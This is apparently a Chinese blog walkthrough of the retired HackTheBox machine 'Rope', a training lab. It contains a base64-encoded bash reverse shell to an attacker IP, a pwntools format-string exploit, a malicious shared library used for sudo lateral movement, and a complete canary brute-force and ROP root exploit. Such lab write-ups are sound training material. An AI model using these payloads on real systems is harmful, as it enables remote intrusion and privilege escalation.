zoukankan      html  css  js  c++  java
  • HTB-靶机-Rope

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.148

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.148 -o ./Rope-autorecon

    也可以使用官方的方法进行快速的扫描

    masscan -p1-65535 10.10.10.148 --rate=1000 -e tun0 > ports
    ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
    ' ',' | sed 's/,$//')
    nmap -Pn -sV -sC -p$ports 10.10.10.148
    或者
    nmap -p- --min-rate 10000 -oA scans/nmap_alltcp 10.10.10.148
    nmap -sV -sC -p 21,22,80,3000,8000 -oA scans/nmap_tcpscripts 10.10.10.148

    扫描出来开放了两个端口,分别是22,9999,发现9999端口是个web应用,访问看看发现是登录界面,试了弱口令不成功,使用nikto扫描一把,发现存在目录遍历

     通过上述的目录遍历漏洞,翻看目标的web目录文件,发现是使用httpserver这个二进制文件启动的,使用wget将其下载下来

    wget http://10.10.10.148:9999//opt/www/httpserver

    具体分析我就不阐述了,文章最后我给出分析详细的参考文章,下面是通过分析完成此二进制文件编写的exploit,大概就是触发目标靶机漏洞然后本地监听端口反弹一个地权限shell

    需要反弹的shell要提前进行base64编码

    echo -n 'bash -i >& /dev/tcp/10.10.14.3/8833 0>&1' | base64
    YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzg4MzMgMD4mMQ==

    对应得exploit代码

    #!/usr/bin/python
    from pwn import *
    from requests import get
    from urllib import quote
    
    context(arch='i686', os='linux')
    
    def parseMaps(maps):
        binary_base = int(maps[0].split('-')[0], 16)
        libc_base = int(maps[6].split('-')[0], 16)
        return binary_base, libc_base
    
    def getMaps():
        headers = { "Range" : "bytes=0-1000" }
        maps = get("http://10.10.10.148:9999//proc/self/maps", headers = headers)
        return parseMaps(maps.content.splitlines())
    
    binary_base, libc_base = getMaps()
    
    log.success("Binary base address: {}".format(hex(binary_base)))
    log.success("Libc base address: {}".format(hex(libc_base)))
    
    b = ELF("./httpserver")
    l = ELF("./libc.so.6")
    
    puts_got = b.got["puts"]
    puts = binary_base + puts_got
    
    system_libc = l.symbols["system"]
    system = libc_base + system_libc
    
    log.success("puts address: {}".format(hex(puts)))
    log.success("system address: {}".format(hex(system)))
    
    r = remote('10.10.10.148', 9999)
    payload = fmtstr_payload(53, { puts : system })
    cmd ="echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzg4MzMgMD4mMQ==|base64${IFS}-d|bash"
    r.sendline("{} {} HTTP/1.1
    ".format(cmd, quote(payload)))

    成功反弹shell

    不过上述得shell权限较低,无法获取user.txt,根据前面查看/etc/passwd文件得知还有另一个用户r4j,那么按照套路估计是得横向移动到此用户了,首先新建一个.ssh然后把本地得kali公钥写进去,使用密钥形式登录到目标靶机john用户,执行一把sudo -l

    得到可以通过sudo权限执行一个二进制文件移动到r4j用户,具体操作如下:

    横向移动到r4j用户
    编辑C代码并编译
    vim printlog.c
    内容如下:
    void printlog() {
        system("/bin/bash")
    }
    
    编译
    gcc printlog.c -o printlog.so -shared
    scp printlog.so john@10.10.10.148:/lib/x86_64-linux-gnu/liblog.so
    横向移动提权
    sudo -u r4j readlogs
    配置公钥私钥,通过密钥登录
    

    到了此处就可以开始考虑提权为root权限, 此处有些难度,需要逆向分析目标靶机中得一个二进制文件,目录位置是在/opt/support/contact 通过scp命令将其拷贝到本地kali进行分析,具体可参考文章:

    https://chr0x6eos.github.io/2020/05/23/htb-Rope.html
    https://www.willsroot.io/2020/05/rope-hackthebox-writeup.html
    https://0xdf.gitlab.io/2020/05/23/htb-rope.html
    https://noobintheshell.medium.com/htb-rope-6e06c00f07b8

    对应的exploit代码如下:

    from pwn import *
    import sys
    
    def getByte(chars):
        for ch in range(0x00, 0x100):
            r = remote('localhost', 1337, level = 'error')
            payload = "A" * 56 + chars + chr(ch)
            r.recvline()
            r.send(payload)
            try :
                resp = r.recvline(timeout=2).rstrip()
                if "Done." == resp:
                    r.close()
                    return ch
            except:
                r.close()
                sys.stdout.write('{:02x}x08x08'.format(ch))
                pass
    
    def getContent(chars):
        content = ''
        while len(content) != 8:
            ch = getByte(chars + content)
            content += chr(ch)
            sys.stdout.write('{:02x}'.format(ch))
        return content
    
    sys.stdout.write("Canary: ")
    canary = getContent('')
    print("
    [*] Canary found: {}".format(hex(u64(canary))))
    
    sys.stdout.write("RBP: ")
    rbp = getContent(canary)
    print("
    [*] RBP found: {}".format(hex(u64(rbp))))
    
    sys.stdout.write("Saved return address: ")
    savedRip = u64(getContent(canary + rbp))
    print("
    [*] Saved return address found: {}".format(hex(savedRip)))
    
    e = ELF("./contact")
    
    binaryBase = savedRip - 0x1562
    
    pieAddr = lambda addr : addr + binaryBase
    
    '''
    0x0000000000001265: pop rdx; ret;
    '''
    pop_rdx = p64(pieAddr(0x1265))
    
    '''
    0x0000000000001649: pop rsi; pop r15; ret;
    '''
    pop_rsi_r15 = p64(pieAddr(0x1649))
    
    '''
    0x000000000000164b: pop rdi; ret;
    '''
    pop_rdi = p64(pieAddr(0x164b))
    
    write_GOT = p64(pieAddr(e.got['write']))
    write = p64(pieAddr(e.symbols['write']))
    
    chain = "A"* 56 + canary + rbp
    # overwrite return address
    chain += pop_rdx + p64(0x8)
    chain += pop_rsi_r15 + write_GOT + "B" * 8 # junk
    chain += write # call write function
    
    '''
    write(fd, write@GOT, 0x8)
    '''
    
    r = remote('localhost', 1337, level = 'debug')
    r.recvline()
    r.send(chain)
    write_libc = u64(r.recv(8, timeout=2))
    log.success("Leaked write@libc: {}".format(hex(write_libc)))
    r.close()
    
    libc = ELF("./libc.so.6_64")
    
    libc_base = write_libc - libc.symbols['write'] # Find libc base address
    log.success("Libc based address: {}".format(hex(libc_base)))
    
    dup2 = p64(libc_base + libc.symbols['dup2']) # Calculate dup2 address
    
    '''
    0x4f322 execve("/bin/sh", rsp+0x40, environ)
    '''
    one_gadget = p64(libc_base + 0x4f322 )
    
    chain = "A" * 56 + canary + rbp
    # overwrite return address
    chain += pop_rdi + p64(0x4) # oldfd
    chain += pop_rsi_r15 + p64(0x0) + "JUNKJUNK" # newfd : stdin
    chain += dup2 # call dup2
    
    '''
    dup2(0, 4);
    '''
    
    chain += pop_rdi + p64(0x4) # oldfd
    chain += pop_rsi_r15 + p64(0x1) + "JUNKJUNK" # newfd : stdout
    chain += dup2 # call dup2
    
    '''
    dup2(1, 4);
    '''
    
    chain += pop_rdx + p64(0x0) # Zero out rdx
    chain += pop_rsi_r15 + p64(0x0) + "JUNKJUNK" # Zero out rsi
    chain += one_gadget # call execve
    
    '''
    execve("/bin/sh", NULL, NULL);
    '''
    
    log.info("Sending final payload")
    r = remote('localhost', 1337, level = 'error')
    r.recvline()
    r.send(chain)
    r.interactive(prompt = '# ')

    利用上述exploit之前要先将目标靶机的端口通过ssh端口转发到本地,且需要目标靶机的的一个so文件,然后exploit本地的这个端口进行拿shell

    scp r4j@10.10.10.148:/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6_64
    ssh -L 1337:127.0.0.1:1337 r4j@10.10.10.148
    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    列表数据类型内置方法
    WIN7局域网文件共享设置方法
    Python中if __name__ == '__main__':作用
    python练习2
    python练习1
    在centos6上面安装python3.4
    TCP连接之未连接队列的理解
    薛定谔把妹法
    js获取设备公网ip + 服务器根据公网ip 获取IP信息
    js获取设备内网ip
  • 原文地址:https://www.cnblogs.com/autopwn/p/14622004.html
Copyright © 2011-2022 走看看